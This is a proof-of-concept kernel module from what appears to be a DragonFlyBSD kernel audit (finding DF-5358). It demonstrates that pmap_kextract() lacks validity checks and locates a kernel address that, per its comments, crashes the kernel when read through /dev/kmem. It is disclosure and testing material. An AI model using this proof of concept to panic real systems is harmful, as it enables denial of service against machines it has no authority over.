⬢ DragonFlyBSD Kernel Audit
DF-5358 / pmxtest.c
← back to finding ↓ download raw
/*
 * pmxtest.c - DF-5358 proof module (DragonFly pc64)
 *
 * Proves pc64 pmap_kextract() (sys/platform/pc64/x86_64/pmap.c:1865) performs
 * NO validity check of its own, on either paging level:
 *
 *  [1] CONTROL: pmap_kextract() on a mapped kernel VA -> sane physical addr.
 *
 *  [2] PT-present / PTE==0: allocate a kernel page with kmem_alloc3(),
 *      tear its PTE down with pmap_kremove() (the PT page survives: kernel
 *      page-table pages are never freed), then call pmap_kextract() on the
 *      now-unmapped VA.  A correct implementation returns 0.  This kernel
 *      returns a non-zero bogus physical address, which is exactly the value
 *      kvm_access_check() (sys/platform/pc64/x86_64/vm_machdep.c:1285)
 *      compares against 0 to decide "/dev/kmem pages are resident" -> the
 *      gate passes vacuously (pc64 twin of DF-5245/DF-5290).
 *
 *  [3] ABSENT-LEVEL PROBE (safe: reads the page tables through the DMAP,
 *      never through the recursive map): finds a KVA inside [KvaStart,KvaEnd)
 *      whose PML4 or PDPT entry is 0 and prints it.  Userland feeds that KVA
 *      to pread() on /dev/kmem: kvm_access_check()->pmap_kextract()->
 *      *vtopt(va) dereferences the recursive-map address of the PDE slot,
 *      which is itself unmapped -> unrecoverable kernel data page fault ->
 *      panic.  (Root-gated: /dev/kmem open requires SYSCAP_RESTRICTEDROOT.)
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>

#include <vm/vm.h>
#include <vm/vm_kern.h>
#include <vm/vm_extern.h>
#include <vm/pmap.h>

static int dummy_var;

#define KVBASE		0xFFFF800000000000ULL

static void
pmxtest_run(void)
{
	vm_offset_t va;
	vm_paddr_t pa;
	uint64_t *pml4, *pdpt;
	int slot, i;

	kprintf("pmxtest: KvaStart=%016jx KvaEnd=%016jx KvaSize=%016jx\n",
	    (uintmax_t)KvaStart, (uintmax_t)KvaEnd, (uintmax_t)KvaSize);

	/* [1] control */
	pa = pmap_kextract((vm_offset_t)&dummy_var);
	kprintf("pmxtest[1]: CONTROL pmap_kextract(&dummy=%p) = %016jx (mapped, sane)\n",
	    (void *)&dummy_var, (uintmax_t)pa);

	/* [2] PT present, PTE == 0 */
	va = kmem_alloc3(kernel_map, PAGE_SIZE, VM_SUBSYS_KMALLOC, 0);
	if (va == 0) {
		kprintf("pmxtest[2]: kmem_alloc3 failed\n");
		return;
	}
	pa = pmap_kextract(va);
	kprintf("pmxtest[2]: va=%016jx while-mapped pa=%016jx\n",
	    (uintmax_t)va, (uintmax_t)pa);
	pmap_kremove(va);			/* PTE := 0, PT page survives */
	kprintf("pmxtest[2]: PT-present/PTE-0: aligned   pmap_kextract(va)     = %016jx\n",
	    (uintmax_t)pmap_kextract(va));
	kprintf("pmxtest[2]: PT-present/PTE-0: unaligned pmap_kextract(va+0x30) = %016jx  <-- non-zero garbage (no PG_V check; aligned queries luck out: va&PAGE_MASK==0)\n",
	    (uintmax_t)pmap_kextract(va + 0x30));
	pmap_kenter(va, pa);			/* restore, then free */
	kmem_free(kernel_map, va, PAGE_SIZE);
	kprintf("pmxtest[2]: restored + freed\n");

	/* [3] safe probe for an absent upper level (KVA >= KvaStart only) */
	kprintf("pmxtest[3]: kernel_vm_end=%016jx\n", (uintmax_t)kernel_vm_end);
	pml4 = kernel_pmap->pm_pml4;
	for (slot = KPML4I; slot < KPML4I + NKPML4E; slot++) {
		if ((pml4[slot] & 0x01) == 0) {
			kprintf("pmxtest[3]: PML4[%d] ABSENT (%016jx)"
			    " -> /dev/kmem test KVA %016jx\n",
			    slot, (uintmax_t)pml4[slot],
			    (uintmax_t)(KVBASE | ((uint64_t)slot << 39)));
			return;
		}
		pdpt = (uint64_t *)PHYS_TO_DMAP(pml4[slot] & PG_FRAME);
		for (i = 0; i < 512; i++) {
			va = KVBASE | ((uint64_t)slot << 39) | ((uint64_t)i << 30);
			if (va < KvaStart)
				continue;
			if ((pdpt[i] & 0x01) == 0) {
				kprintf("pmxtest[3]: PML4[%d] present,"
				    " PDPT[%d] ABSENT (%016jx)"
				    " -> /dev/kmem test KVA %016jx\n",
				    slot, i, (uintmax_t)pdpt[i],
				    (uintmax_t)va);
				return;
			}
		}
	}
	kprintf("pmxtest[3]: no absent upper level found (unexpected)\n");
}

static int
pmxtest_handler(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		pmxtest_run();
		break;
	default:
		break;
	}
	return (0);
}

static moduledata_t pmxtest_mod = {
	"pmxtest",
	pmxtest_handler,
	NULL
};
DECLARE_MODULE(pmxtest, pmxtest_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(pmxtest, 1);